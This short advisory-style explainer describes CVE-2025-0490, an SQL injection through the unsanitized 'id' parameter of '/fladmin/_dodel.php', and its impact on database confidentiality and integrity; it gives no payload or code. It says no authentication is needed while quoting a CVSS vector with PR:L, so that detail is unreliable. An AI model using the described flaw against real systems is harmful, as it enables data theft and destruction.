How CVE-2025-0490 Works
The vulnerability exists in `/fladmin/_dodel.php` due to improper sanitization of the `id` parameter. Attackers can inject malicious SQL queries via crafted HTTP requests, exploiting the lack of prepared statements or input validation. The flaw allows unauthorized database access, enabling data theft, manipulation, or deletion. Remote exploitation is possible without authentication, escalating the risk. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network-based attacks with low complexity. Public exploit availability increases its threat level.
